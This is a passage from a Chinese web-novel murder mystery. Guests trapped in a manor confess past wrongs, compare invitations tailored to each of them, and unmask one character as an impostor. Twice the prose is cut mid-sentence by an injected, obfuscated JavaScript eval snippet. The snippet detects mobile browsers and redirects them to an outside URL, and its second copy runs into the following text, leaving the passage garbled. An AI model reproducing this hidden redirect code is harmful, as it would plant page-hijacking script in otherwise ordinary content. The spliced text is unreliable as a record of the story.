顾霆思忖一阵,沉声道:“不知道你们有没有听说过马斯洛的需求层次理论。” “我知道!”斯文紧接着说,“我有研究过马斯洛的五个层次理论。分别是:生理需求,安全需求,社交需求,尊重需求,和自我实现需求。” 俞耀星不懂这些,迷茫地问:“可现在发生的一切和这个理论有什么关系呢?” 顾霆说:“我去年投资了一部国外电影,是个以杀人游戏为主线的电影。讲的是上流社会用钱滚钱的人觉得生活无趣,想看几百人自相残杀,最终给活到最后的人丰厚的奖金。” 俞耀星眨了眨眼:“那不是电影吗?虚构的呀,老外就是敢写敢想。” “你们以为这只是杜撰吗,这个世界上最可怕的词是什么?”顾霆问。 俞耀星说:“瓮中之鳖最恐怖。” 元笑说:“死亡?” 斯文想了想:“是病毒!或者疯子!隐藏在我们之中的疯子就是最恐怖的!” 顾霆缓缓摇头:“是欲望。” “欲望是无穷无尽的,因为有了欲望,所以才能衍生出你们所说的词汇。而这个人的欲望,一定是看我们一个一个死去的过程。甚至包括我讲的这番话,在他眼中,也是个笑话。” 安静一瞬。 “我好像能理解你说的需求理论的意思了,”元笑敛眉分析道,“马斯洛需求理论的第一层就是生理需求,处在这一层的人基本上都是乞丐或者流浪者,他们只想要填饱肚子。” “而那个电影里的幕后主使就是生活在最顶层的人,他们拥有金钱、被人尊重、在社会上享有地位……于是他们开始追求刺激,并且是那种需要凌驾于他人性命之上的刺激!” “而在我们之中的凶手,就是这种人。他在玩一种虐杀游戏,我们都是他的猎物!” 顾霆神色凝重点头。 “那摄像头只是个摆设,我猜,这个人不满足通过屏幕观看,他一定要参与其中,并且伪装成担惊受怕的模样。” “真是个变态!”俞耀星气愤道,“世界上怎么会有这么恶心的人!” 所有人都因顾霆这段话而后怕。 仿佛脖颈被系了条麻绳,绳子的另一端就在凶手掌心,死只是时间问题。 又过了十几分钟。 “还有一种可能,”斯文说,“凶手或许另有目的。比如是我们得罪了他。” 元笑无力开口:“可我从来没得罪过人,从小到大,我极少和别人争执。” 斯文说:“或许是无意间得罪了也说不准。” 元笑还是觉得不可能:“就算有无意的,那也不至于费这么大的劲把我骗到乌城吧。” “万一那个人就是很小心眼呢,万一你以为的无意间,却意外造成了那个人的苦楚呢?” “得罪一个人可是很容易的,你买了件漂亮衣服穿在身上,即使不炫耀,也会被买不起的人嫉妒。虽然这种人极少,但不代表没有。” “听说过蝴蝶效应吗,”斯文说,“书上不是有一句很有名的话吗,‘一只南美洲的蝴蝶扇动翅膀,结果可能引发美国德克萨斯州的一场龙卷风。’指的是微小的变化,可能会影响某人的一生。” 元笑缓缓抬头,倾身看着斯文。 “你似乎是在往另一个方向引导大家。” 斯文迷茫地眨了眨眼:“什么?” 元笑说:“你这样说,是想告诉我们,之所以被困在这里,是因为我们做错了事,得罪了人。” 元笑一说完,其他人都警惕地看向斯文。 俞耀星问:“对啊,你为什么突然这么说。我们能得罪谁呢?又是做了什么伤天害理的事,才被人做了这么大的局呢?” Silas也说:“你连庄园的主人是谁都不知道,怎么会确定是我们得罪他,而不是因为他变态的思维呢?” 斯文推了下厚重的眼镜:“我是根据平时写文章时的思维模式推算出来的。” “写文章?”元笑问,“这跟我们现在的处境又有什么关系?” 斯文抿了抿唇,耐心解释:“其实我们现在的情况,在文章里是有一个专业术语来概括的。” 顾霆沉声道:“你是想说,暴风雪山庄吗?” “没错,”斯文眼前一亮,“暴风雪山庄模式,是最经典最常见的悬疑推理模式。” “指的是一群互不相识的人因为各种原因被聚集在一起。但山上空降暴风雪,导致没有信号无法联络到外界。然后一群人开始莫名其妙一个接一个死去,凶手往往就在其中。” 元笑缓缓点头:“我看过这种电影。” 说着鼻子又是一酸。 秦北是探险和推理的爱好者,这些电影都是他推荐给自己的。 元笑回忆:“电影里讲,被聚集到一起的人虽然不认识,但他们会有一个共同朋友。这个朋友一定和他们有着深仇大恨,所以才将他们聚集到一起,然后……一一杀掉。” “没错!”斯文说,“这就是我刚刚说的,会不会是因为我们都得罪了凶手,所以才导致我们被聚集到了一起。那如果我们在凶手下一次出手之前推算出来这个人是谁,一定可以保命。” 安静一瞬。 “我先说吧。”斯文率先举手,“之所以会有这样的想法,是因为我的确得罪过一个人。” “我之前因为文章出版的原因,和出版社的一位编辑吵架,我们在微信上互相问候对方的祖宗十八代。” “事后我举报了出版社税务有问题,然后那家出版社就被关停了。我这算是断人财路,所以被报复是很符合逻辑的。” “编辑叫李明芳,出版社老板叫王小雅。” 斯文吞了下口水,目光扫过其他人:“你们认识这两个人吗?” 大家都摇头:“不认识。” 斯文说:“那你们呢,有得罪过谁吗?” 元笑将生平所有的事都想了一遍,也没想出究竟得罪过谁。 直到斯文开口:“就算你不争不抢,那么秦北有没有得罪过人?” 元笑恍然。 叹道:“秦北他的脾气很不好,经常和人发生争执,但因为他身高体壮,朋友也多,每次都是对方吃亏。得罪过的人可太多了。” 斯文倾身:“挑几个严重的说。” 元笑想了想:“之前有个男生喜欢我,经常打电话骚扰我,后来被秦北知道了,把他给打了……他叫闻顺昌,你们认识吗?” 大家摇头。 斯文说:“这算什么大事,只不过打了他一顿。又没断人家财路,根本不至于人家布下这么大的局啊!” “其实挺严重的,”元笑说,“那个男生的脸被秦北给……总之就是需要整容修复,还有手指也坏了……那个男生是学钢琴的。” 金兰花眨了眨眼:“这么狠。” 斯文追问:“还有吗?” “还有……上学的时候吧,有很多人给他表白写情书,有一些长相……不怎么样的人,就会被他和他的朋友嘲讽。” “那些人也有很多,名字……我都记不住了。路青,钱雯,孙……” “这些也不是什么大事吧,”不等她说完,斯文又开口,“还有吗?” 元笑叹气:“其实有挺多的,后来我们在一起后才好一点,因为我一直在劝他。只是秦北脾气很大,有时候冲动起来我也劝不住。” 斯文问:“那你为什么要跟他在一起,不怕他家暴你?” “我们是高中同学,他对别人没有耐心,唯独对我百依百顺,”元笑抬眼,认真道,“我这样说你或许感受不到。但他对我有多好,我心里明白。” “我倒是能理解,”俞耀星虽然还在生气,但还是开口,“就像我老公在外面的形象是冷酷不近人情,但却会在家里为我做饭、照顾我,一切都面面俱到。传出去大家都不会相信这是我老公。” 话毕,俞耀星清了清嗓子,尴尬道: “我大学时做过模特,当时学校里有很多比我更漂亮的女孩都去面试……我为了拿到名额,就偷偷讲她们的坏话,这也算是断了她们的财路吧,后来她们知道了,还和我大吵一架呢。” “名字有好几个,袁文静,周涛,周琳,伊文……你们认识吗?” 大家再次摇头,视线落在顾霆脸上。 安静一瞬,顾霆语气低沉,语速加快道:“我在合同上动过手脚,设计让对方违约,赔了我七千万。名叫齐正。” 这个人的名字,大家也没听过。 金兰花双手握在一起,摩挲几下说:“我为了自己骗过相处很久的朋友,导致朋友得了抑郁症,人生从此发生巨大的转变……叫……叫李一。” 又是个让大家陌生的名字。 斯文看向孙伶聪:“神童,到你了。” 孙伶聪眨了眨眼:“我听妈妈说,《聪明大脑》那期节目其实我报名时已经结束了,但妈妈花了钱让我上去。然后我就打败了所有人,成为第一名。” “这有什么的,”斯文不解道,“你的智商确实可以打败所有人啊。” “但……后来只有我接到了广告和综艺,第二名就什么都没有……” 孙伶聪很不好意思地低下头,音色飘忽:“如果我走正常程序报名的话是上不了那期节目的……等于说我也改变了其他人的命运。第二名叫赵良英。” 按说上过电视的神童知名度肯定会比普通人大。 但赵良英这个名字大家还是没听说过。 可见《聪明大脑》的确没把第二名推到荧幕前,只让他短暂拥有到了热度,很快就随着时间流逝重新成为素人。 而这一切光环,如果没有孙伶聪的话,就都是赵良英的。 大家都说完后,一致看向仰躺在按摩椅上揉眼睛的Silas。 Silas的眼睛已经出现红血丝,他用力眨了眨眼。 垂眸说:“校园暴力。” 斯文问:“你是施暴者?” “嗯。”Silas解释,“但那时候我是因为年纪小,而且后来家里也赔了不少钱。现在长大了才意识到之前做的都是错的。” 他一口气说出了十几个人的名字,可惜在场无一人认识。 每个人说出来的人名,除了本人之外,其他人都不认识。 “所以我们并不是因为得罪了共同认识的人才被聚集到一起的,是我推测失误了。”斯文叹气,窝在沙发里没再说话。 元笑突然起身,目光扫过每一个人,沉声问: “你们刚刚说的一切,真是平生做过最过分的事情吗?有没有避重就轻?” 这话说完,所有人皆是一怔,随即目光躲闪,不和她对视。 但这并不能妨碍元笑继续质问。 “如果你们真想逃离这里,就该实话实说。庄园的主人或许想看见我们发自内心忏悔,如果我们真的把做过的错事说出来,他就会原谅我们,放我们走。” “电影里不都是这么演的吗,”元笑说,“反正这里没有监控,又传不出去,你们为什么不说实话?” “或许下一个死的人就是自己,难道你们宁愿把做错的事带进棺材里,也不愿意说出来为自己求得一线生机吗?” 她的质问掷地有声,在场所有人都有自己的小动作。 俞耀星轻轻扣着美甲,斯文则把沙发垫揉出褶皱,顾霆胸膛的起伏增大,金兰花则把抱枕上的麦穗揉成一团…… 元笑继续说:“我自认为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743211|189746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生平没做过一件错事,对得起自己的良心。我人生中最出格的事就是和秦北在一起,导致他为了保护我而伤害别人。” “你们呢?你们觉得自己为什么会被囚禁在这里?” “说实话啊,万一凶手就想听实话呢!” …… 未几,顾霆清了清嗓子,率先开口。 “我的娱乐公司是家族产业,曾经我爸爸管理时,我并不是第一继承人。为了拿到公司掌控权,我……设计让我大哥出了车祸,二哥被绑架。” 元笑问:“他们的下场是什么?” “我大哥终身残疾,二哥被利器击中大脑,智力退化到三岁。” 顾霆说完长舒一口气,随后闭上眼睛,一束光打在他脸上都像是对他的指责。 斯文听后嫌弃地看着他:“真没看出来!你居然是这种卑鄙无耻的小人!” 她本来挨着俞耀星坐,但看对方的神色平静,想必已经知道这一切。 斯文起身坐到另一张沙发上,问俞耀星:“娱乐圈的水很深,我想你也不可能只在大学期间做过错事吧?” 俞耀星轻轻地呼吸。 直到顾霆温暖的大手握住她的手,才咬了咬嘴唇开口: “我曾经和人竞争过一部戏的女一号,本来无望,但我觉得这部戏剧情很好,实在不想放弃。” “于是我为她安排了一场意外。” “你说的该不会是……”斯文眨了眨眼,“方亿箩坠崖事件吧?” 所有人都知道方亿箩,她的外形以及接戏赛道都和俞耀星类似,两个人戏路相同,总会互相竞争资源。 直到某天方亿箩因为录制节目意外坠崖身亡,这件事霸占了新闻头条。 没想到居然是俞耀星做的。 元笑呼吸慌乱:“原来你们都是杀人凶手!” “我不是故意的!”俞耀星说,“我只是想要她拍不了戏,只要她养伤超过三个月,那部戏我一定能争取到,可谁能想到她居然掉下去了。” 说完,俞耀星一脸愤然,扫视了一圈,目光落在元笑脸上: “也别一直把矛头指向我们啊,秦北因为有人骚扰你,就毁了人家的脸和手,相当于断了别人未来的路,这叫活遭罪!比直接杀人都恐怖!” “况且今天被困在这里的人都不会无辜的,你们倒是接着说啊!我看看你们有谁是无辜的!斯文,你也重新说!” …… 斯文本来嫌弃的眉眼耷拉下来,她的声音低沉了些: “我之前举报那家出版社的税务问题,后来他们补交了税款准备东山再起。我气不过,又举报了他们在20年前未经过审批私自印刷书籍贩卖,并且重点强调了里面一千多字的色.情内容……这一次王小雅和当时的负责人全都进了监狱。” 顿了一下,语气变轻,带着心虚:“王小雅的父亲是老年痴呆,她进去之后,她的父亲有天半夜跑出家门被车……撞死了。” “呵,”俞耀星冷声说,“你自己不也是杀人凶手吗!” “你搞清楚,我做的一切是为了报复王小雅,她本来自己也做了坏事,这些都是她的报应!至于她爸的死跟我有什么关系。” 斯文翻了个白眼:“我和你们这种万恶的资本家可不一样,我走的都是正规渠道,死了是他们倒霉,是报应。” 元笑偏过头:“金阿姨,你也说谎了吗?” “是,我很抱歉。” 金兰花愧疚地垂眸:“我患有严重的心理疾病,每一次发作都会失去意识,对自己接下来的所作所为一无所知。” “那一次预感要发作时我恰好和病友在一起。为了能够控制病情发作,我拿走了对方的药。” “没想到她也病发了,等我发现时,她已经死了。” “监控显示她像变了个人一样,先是自己抽自己耳光,随后抱着大树用力地撞,最后挣脱开别人的手从楼梯上滚了下去。” “监控显示,她也预感到了病发,去找药时发现没有了……是我害死了她。” 金兰花说完,孙伶聪小心翼翼举起手。 “我之前偶然听到妈妈说,比赛的第二名因为接受不了打击,变得自闭了……也是心理疾病……后面我就不太清楚了……” 俞耀星瘫坐在沙发上:“看来我们都不无辜,我们都给别人带去了人生的重大伤痛。” “事实是这样,”元笑说:“但大家提起的每个人,都不是所有人认识的啊。” 好不容易找到了方向,却又在此刻断掉。 埋在心底的秘密都被摊开摆放,仿佛被剥光了游街一样尴尬。 每个人都变得沉默,内心祈祷着这次忏悔可以被庄园的主人听到,但等了很久也不见有人出现。 直到天色暗了下来,门口的闸机还没有出现。 黑夜犹如一张巨大的网,他们则是在网中挣扎的鱼。 元笑靠在落地窗前,落寞地眨眼。 她很想念秦北。 如果时光能倒流,一定不和秦北来这里。 她从口袋里摸出那袋橙汁粉。 真没想到剧本杀里的道具,居然是秦北生前交给她的最后一样东西。 元笑看向窗外,明亮的玻璃映出所有人的状态。 俞耀星的高跟鞋横七竖八扔在某处; 斯文的随身听也扔在桌上,耳机线落在地上; 孙伶聪趴在桌上抹眼泪; 顾霆的领带被他扯下来胡乱扔在沙发一角; 金兰花眉头紧皱,揉着自己的太阳穴; Silas刚滴了眼药水,正在眯着眼睛躺在按摩椅上。 冰箱和食物柜依旧是满满当当,仿佛取之不尽用之不竭。 但越是这样,越让人绝望。 他们似乎要一辈子待在这里,与世隔绝。 不。 或许下一秒就会死人。 会是谁呢? 元笑突然转头看向楼梯口。 那个抱着孩子的女人一直没有下过楼。 孩子或许有奶粉,但她不需要吃东西吗? 真是个奇怪的人,真不知道她怎么会出现在这里。 想到这,元笑突然发现一件十分不对劲的事! 记得秦北当初和自己说过,庄园的邀请函很抢手,是他熬了两晚,在0点时抢到的。 那个女人又不会玩剧本杀,她很明显不会去抢名额啊! 7. 正版 发现疑点的下一秒,元笑赶快站起身说:“楼上那个女人一定有问题!” 在场所有人的目光都投射过来,金兰花忙问:“你发现什么了?” 俞耀星说:“你是不是想起来什么疑点了?那个女人做什么了?” 元笑说:“庄园的邀请函很难得到,那个女人连剧本杀是什么都不懂,怎么可能熬夜抢名额呢!” 这话说完,大家眼中的光渐渐变暗,随后用一种莫名其妙的眼神看着元笑。 元笑一头雾水:“怎么了?难道你们的名额很好抢吗?” “熬夜……抢、名额?”金兰花摇摇头,“我拿到邀请函没有熬夜抢啊,在网上报了名,那时候已经是傍晚了,我刚下班。” 元笑疑惑地看过去:“你们都没有在网上抢名额吗?” 斯文摇头:“我是搜索恐怖小说,突然推广了这个地方。我觉得很适合找灵感,然后询问客服,填写地址第二天就收到了邀请函。” 顾霆说:“我和星星也没有抢名额,邮箱里发来了一封电子邮件。刚好星星下一部戏是悬疑片,她正愁没有感觉,所以我们才决定来这里。” 元笑看向其他人:“那你们呢?” 孙伶聪说:“我妈妈听说这里是全程直播节目,所以让我过来参加的。” “就因为直播,所以放心让你一个人过来?”元笑说,“你才11岁啊!” “这也不是我第一次一个人出门了,”孙伶聪眨了眨眼,“我8岁的时候就独自坐飞机出国,一点也不怕的,所以我妈妈很放心。而且……” “而且什么?” 孙伶聪咬了咬嘴唇,尴尬道:“这半年来我的热度降下去很多,已经接不到电视台节目的邀请了。我妈妈听说这是个直播解密的活动,还有明星也来参加,她觉得是个增加关注度的好机会。” 元笑问:“那你妈妈是怎么知道这里的?” “大概率也是通过工作邮箱,”孙伶聪说,“我的通告邀请都会发到我妈的邮箱里,她筛选之后才会让我去。” “等等,”俞耀星皱眉看他,“你妈妈怎么会知道我也来参加?我分明也是偶然看见的邮件,临时决定来的啊。而且邮件里只告诉我这是录播,而不是直播,如果是直播我根本不会同意。” 孙伶聪眨了眨眼,摇头:“不对,我妈妈说是直播,和客服沟通之后听说你也会来。妈妈还说……你是大明星,肯定会有热度,这个直播也会让我的热度上升。” …… 元笑鸡皮疙瘩都起来了,冥冥之中,有一个巨大的阴谋正将她笼罩。 难道凶手真是闻顺昌? 他被秦北毁了面容和事业,所以设计将他们骗过来。 但陈成医又和闻顺昌有什么关系呢?他为什么要杀害陈成医? 接下来会不会有人死,他打不打算让他们离开呢? 元笑觉得脑袋都要爆炸了,金兰花轻轻拍她的肩膀以示安慰。 “Silas,”金兰花说,“那你又是怎么来到庄园的呢?” Silas躺在按摩椅上,眨了眨眼,眼药水从眼尾落下。 他起身,声音沮丧:“其实,我是被骗来的。” 众人马上来了精神:“什么人?” “怎么骗来的?” “是谁?” Silas叹气:“我女朋友失踪很久了,这人骗我说她在这里,所以我就来了。一开始我还以为这是我女朋友的恶作剧,没想到居然发生了命案。” 顾霆沉声说:“还是先把楼上那个女人叫下来吧,我也觉得一窍不通的她出现在这里是有问题的。” 斯文说:“那我们还是一起上楼,这次说什么都要把她叫下来!” 一群人往楼上走,经过陈成医敞开的房门时,还是觉得恍惚,仿佛一切都是幻觉。 一直躲在房间里的女人说什么也不肯开门,门里传出慌张的话语:“不要杀我”、“放过我的女儿”…… 顾霆没办法,只能再次用肩膀撞门。 这扇门仅仅撞了几下锁头就坏了,大家也终于走进女人的房间。 床上放着包裹婴儿用的棉被,还有带着大片奶渍的衣服。 奶瓶放在桌上,旁边是空了的奶粉罐。 顾霆警惕地走在最前方,等看见颤抖的衣柜时,脚步停下。 “想必你也知道现在发生了命案,我们正在找出究竟谁是凶手,”顾霆说,“你最好相信我们,只有我们聚集到一起,才能保证生命安全。” “如果你不是凶手,那么你单独行动一定会被凶手盯上,这个房间里没有吃食,我想你已经一天一夜没有吃东西了吧?” “你不吃东西可以忍,那孩子呢?”顾霆走向衣柜,“带了再多的奶粉也总会有吃完的一天,而你不可能一直躲在这里。” 这话说完没一会儿,柜门缓缓被推开,女人紧紧抱着孩子,头发挡住脸庞,看上去像个终日不见天的野人。 等到柜门全部被推开,才透过头发缝隙勉强看见女人用一双眼睛惊恐地盯着他。 熟睡的孩子也被抱得很不舒服,包裹动了动,似乎想要把手或脚伸出来。 顾霆见状退后几步:“下楼吃点东西,也让孩子呼吸新鲜空气吧。” …… 大厅里。 女人狼吞虎咽地吃着面包,突然被一阵黑影笼罩。 她吓得丢掉面包,紧紧抱着孩子往后退,本就凌乱的头发被汗水打湿成绺覆盖在脸上。 视线聚焦,女人看见来人是金兰花。 因为金兰花的身材过于肥胖,所以影子也显得比别人大。 身躯遮挡住了灯光,巨大的黑影将干瘦的女人彻底笼罩。 金兰花也察觉到这点,拿着牛奶杯尴尬地笑笑:“别怕,我不会伤害你的女儿。面包不会噎着吗,你喝点牛奶。” 女人半信半疑接过去,先闻了闻,随后小口尝试。 确定没有什么奇怪的味道,才大口吞咽,几下就喝完了。 元笑坐在沙发上看着女人的一举一动,本就不足的耐心正在一点点消耗。 在她用袖子擦拭嘴唇时,元笑没忍住问:“你到底是怎么知道这个地方的?” 害怕吵醒孩子,女人颠了颠手臂轻轻拍着孩子,小声回答:“按照那张纸上的地址来的。” “哪张纸?” 她换了一只手臂托孩子,从口袋里摸出一张皱巴巴的纸。 正是和他们一样的邀请函。 那上面是用钢笔手写的:【诚挚邀请陌生的您来到探险庄园,届时会有食物、衣服等丰厚礼品相送。】 “这邀请函是哪来的?”元笑问。 女人说:“是我捡的。” “捡的?” 元笑真觉得自己听见了天方夜谭。 要秦北熬两夜抢到的邀请函,别人却轻松获得,甚至还有人能捡到。 “在哪里捡的?” 女人吞了下口水:“窗外。” 那天她饿着肚子揣着最后一点钱去给女儿买回了一罐奶粉,回到家里就见到窗外掉落一张漂亮的纸。 这张纸的质量和颜色都不该属于这里,或许可以给女儿逗个趣,于是捡回了家。 “到晚上才看见纸上的字,然后我就来了。” 元笑皱眉:“也就是说,原本不是你的邀请函,是你捡到的。” “不,这张邀请函就是给她的。”顾霆沉声道,“或许可以说,是庄园的主人故意丢在她面前的。” 全部人的目光都看向他。 “你怎么知道?”金兰花问。 “因为我们的邀请函完全不同。”顾霆拿出自己和俞耀星的邀请函,摊开放在桌上。 依然是钢笔印记的手写字: 【诡异、探险、城堡……我们真诚地欢迎您的到来,这里将会为您带来无限灵感。】 斯文看完后眨了眨眼,把自己的邀请函也放在桌上:“我和你们的邀请函是一样的。” “我的不一样。”孙伶聪从书包里摸出自己的。 【想来参加全程解密类型的真人剧本杀吗?这里不仅考验您的思维能力,还要考验您的智商、敏锐度、逻辑……全程和顶流明星一通直播,详情咨询在线客服。我们期待您的到来。】 金兰花见状也拿出自己的。 【诚挚邀请陌生的您来到探险庄园,让我们忘却一切烦恼,摒弃一切杂念,拥抱美好的未来人生。】 “Silas,你的呢?”顾霆问。 Silas把自己的邀请函从胸前的口袋拿出来。 【想要解救你的爱人吗?甜蜜的解密探险游戏,需要勇士出现,只要通关即可帮你圆梦。这里是梦开始的地方,这里是私人庄园,放肆游荡吧勇士,欢迎您的到来。】 元笑看了两遍,问:“解救爱人?意思是,你以为你的爱人失踪很久是遇到了危险?你来是解救她的?” Silas点头:“没错。” “我和秦北是一样的。”元笑拿出自己的邀请函放在桌上。 【想体验一场精彩绝伦的真人剧本杀吗?史上最神秘的庄园探险,惊悚刺激,险象环生。诚挚邀请陌生的您来到探险庄园。】 每个人的邀请函都是纯手写钢笔字,可以看出字迹相同,但内容却不同。 “这个邀请函,分明是根据我们想要的一切来写的。”元笑无力开口,“换句话说,我们这些人,是庄园的主人挑选出来的。他知道我们想要什么,知道我们缺少什么。” 斯文写作需要灵感,一定会被吸引前往庄园。 俞耀星拍戏也要找状态,顾霆会陪她一起来。 所以他们三人的邀请函是相同的。 秦北是个爱挑战的人,他知道消息肯定会欣然前往,而自己当然会和他一起。 那个贫困的女人活着已经很难了,更何况还有个孩子,很明显缺少食物和衣服。 孙伶聪的妈妈知道儿子智商很高,能解开谜题稳稳获胜。 又因为现在的热度不如从前,直播还可以打开知名度…… 金兰花条理清晰,是个聪明人,但从邀请函上的内容来看,她应该有很多烦恼。 她穿着又肥又大到膝盖的黑色过膝裙,一条保暖紧身黑裤,勾勒出小腿肥胖的线条。 元笑从前看过的大多数中年女人都和她一样打扮,但那些人穿的裙子几乎颜色都很鲜艳,唯有她的裙子是全黑。 看上去是过度臃肿的身材带来的压力,而黑色是最显瘦的。 元笑想起之前金兰花几次开口推理,都下意识捂住自己因为坐着而格外突出的腹部,这是不自信的表现。 所以她的邀请函上写着‘忘却烦恼’、‘摒弃杂念’…… Silas是有钱人家的孩子,没有烦恼也不缺钱,但凶手偏偏知道他和女友产生了矛盾,以此为由引他走进庄园。 这说明庄园的主人非常了解他们,并能精准捕捉到每个人的爱好、希望和软肋。 …… 大家又结伴去了一趟陈成医的房间,可除了他的剧本之外,其他东西通通不见了。 因此,大家并不知道他的邀请函内容是什么,也不知道他来庄园的目的。 元笑翻看陈成医的剧本,也没有发现什么疑点,随手扔在一边。 抬眼一看,时间已经到23:35了。 微风催促树枝敲打玻璃,发出哒哒哒的声响。 元笑长长地叹气,这感觉就像是与天抗衡。 自己用尽浑身解数,也抵抗不了命运动一动手指的结局。 金兰花面色煞白,咳了两声,突出的肚子颤了颤。 说:“就算不知道陈医生的邀请函上写的什么内容也没关系,我们现在已经知道,凶手一定潜伏在我们身边,才会对我们如此了解。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黑桃红心是文坛中小有名气的作家,元笑还曾花过大价钱购买过她亲笔签名的推理小说,送给秦北当生日礼物。 没想到竟然和喜欢的作家相处了这么久,如果一开始就知道斯文是黑桃红心的话,秦北一定很开心。 正当元笑还想说什么时,埋头写字的顾霆笔一顿,猛地抬眼。 “你是黑桃红心?” 斯文点头:“是的。” “你说谎。” 顾霆的目光锋利,掷地有声道:“我曾经和黑桃红心谈过版权合同,不止一次见过她本人。你根本就不是黑桃红心。” 下一刻,斯文脸色一变,整个人如遭雷击愣在原地。 元笑的视线在两人身上打量。 她虽然不知道黑桃红心的长相,但黑桃红心写过的文章几乎全部影视化,而顾霆正是娱乐公司的总裁。 他们有合作正常,顾霆见过黑桃红心也正常。 所以,斯文在说谎! 顾霆说:“你说你是黑桃红心,那么你告诉我,《只能活一个》的结尾处,有个门牌号是什么?” 斯文张了张嘴,说:“我随手写下的,不记得了。” 顾霆冷笑一声:“黑桃红心亲口告诉我,那个门牌号是她生日倒着写的号码。” 他说完,俞耀星就打开行李箱,刚好把《只能活一个》这本书拿出来。 翻到最后一页,门牌号是:【1891-80-32】 倒过来就是1981年8月23号。 俞耀星说:“没想到吧,我们恰好带了这本书,我们也是黑桃红心的读者。” 顾霆沉声道:“这是闲聊时,黑桃红心告诉我的。她说她很喜欢在自己的书里不重要的地方加一点东西,就当是给自己的特殊彩蛋,用来提高创作兴趣的。” 元笑开口证实了他的话。 “我是黑桃红心的书粉,关注她很多年了。虽然她这些年很少发动态,但每年八月都会自动发一条生日博,她也说过自己是1981年出生的。” 元笑狠狠盯着斯文:“你为什么要冒充黑桃红心?” 斯文眼睫轻颤:“我……” 元笑追问:“我们今天来到这里,跟你有没有关系?秦北是不是你害死的?!” “怎么会跟我有关系!我什么也不知道!我没杀人!”斯文连连摆手,厚重的眼镜之下,双眼流露出惊慌。 元笑突然想到了什么,猛地起身,俯视她:“守夜时俞耀星要去洗手间,是你自告奋勇陪她去,尽管只有你们两个女生,但你完全不怕。” “一开始他们夫妇要上楼收拾行李,也是你提出陪他们一起上去。” “后来也是你说出悬疑小说中的暴风雪山庄模式。你一直在引导我们,把我们的气氛又拉到更恐怖的程度。” “这和你打开陈成医的房门有异曲同工之妙,无非就是想让我们更加惊慌失措。” “现在你冒充黑桃红心,我猜你想取代她写出更精彩的悬疑推理小说。但苦于没有灵感和素材,所以制造了这一切。为的就是观察我们在不同时刻的表情和反应,从而充实你的文章!” “怎么可能!”斯文猛地起身,扯着嗓子否认:“我不是凶手,没有杀人!虽然来这里的确是为了灵感,但真是在网上搜索时无意间看到这座庄园的!我完全不知道这里会发生命案,我什么也没做,我也是受害者啊!” 顾霆突然拿起面前的纸,指尖用力点了两下,沉声问:“那你怎么解释这个?” 斯文垂眸:“什么?” 顾霆说:“刚刚是你毫不犹豫打开茶几下的抽屉,给我们拿出了纸和笔。你怎么会知道纸笔在这个抽屉里?除非你对这座庄园很熟悉。” 话音刚落,只见斯文挺直的腰板弯了下来。 整个人犹如泄了气的皮球,面色苍白陷在沙发里。 8. 正版 此刻,所有人的目光都投向斯文。 几乎是在顾霆提出关键疑问时,斯文因为被指控展现出来的不服气和冤枉都烟消云散。 斯文无力地陷在沙发里,摘下眼镜疲惫地揉了揉眼皮。 “我确实来过。” 元笑瞪大了眼睛:“你到底是什么人!” “不要激动,”斯文说,“我是在梦里来的。” 一个月前,斯文做了个此生最真实的梦。 她在一座庄园醒来,床头四柱上是点缀着珍珠的真丝床幔,有白鸽从鎏金窗框外飞过。 踩着厚厚的羊毛地毯,她从楼上跑下来。穿过拱门长廊,出了门仿佛走进莫奈花园。 向日葵轻轻舞动身躯,玫瑰花也朝她弯腰。 斯文被眼前的一切震惊地说不出话,不知道自己怎么误入了这个地方,寻遍整个庄园也没见到主人。 冰箱里放着新鲜的蔬菜水果,平时赚了稿费也舍不得买的牛奶居然整齐摆在冰箱门上。 随手打开一个柜子,里面是漂亮的衣服,拉开一个抽屉,有各种生活用品。 她把自己扔在柔软的客厅沙发上,突然对茶几下缠枝雕花的抽屉感兴趣。 左边抽屉整齐放着各种尺寸的笔和纸,右边是文房四宝。 斯文在这座庄园里住了一个星期,除了几扇打不开的门之外,所有房间全都参观了一遍。 在某天一觉醒来回到了自己的房间时,才懒懒抻了个懒腰。 看了眼日历,发现原来一切都是一场梦。 “那个梦很真实,这个庄园的一切都在我梦中出现过,几乎没有改动。”斯文认真地说。 在她说完梦里来过后,有人眼中都涌出惊愕。 但等她讲述完这个梦境后,大家看她的神色又变得轻蔑。 就像是在看一个穿帮的魔术师。 斯文觉得头皮发麻,她皱眉:“我知道这很离谱,但我就是梦见了,我真的在梦里来过。我来的时候没有你们,甚至没有一个人!” “很遗憾,你的理由无法说服我们。”顾霆说。 早在斯文无力瘫软在沙发上时,顾霆就和俞耀星换了位置。 将妻子安排在里面,自己坐在了更靠近斯文的位置,避免对方做出什么危险行为。 “顾霆,你没必要跟她这么礼貌!”俞耀星皱眉呵斥斯文,“听听你那可笑的理由,还做梦?我看你怎么也有二十几岁了吧,怎么能编出这么可笑的借口!孙伶聪听着都觉得可笑吧?” 孙伶聪轻轻点了点头,又黑又清澈的眼睛里闪烁着不可思议。 “可这就是真实发生的,”斯文说,“一周之前我真的来到这里时,我也很震惊。院子里花草树木的形状,客厅里的摆设,包括楼上房间打不开的门!我全都梦到了!” 元笑问:“那你为什么不早说?” 斯文叹了口气:“一开始没说,是因为我想赢剧本杀,怕你们觉得我提前玩过……没想到后来还是被‘杀害’了,就连最后的逃命环节也没参与到。” “可在发现现实里真的有人死后,你还是没有说出来!”俞耀星质问她,“你眼睁睁看着顾霆为了踢开那些你梦里也没打开的门废了那么大力气,也不讲话!他的腿现在还疼呢!” 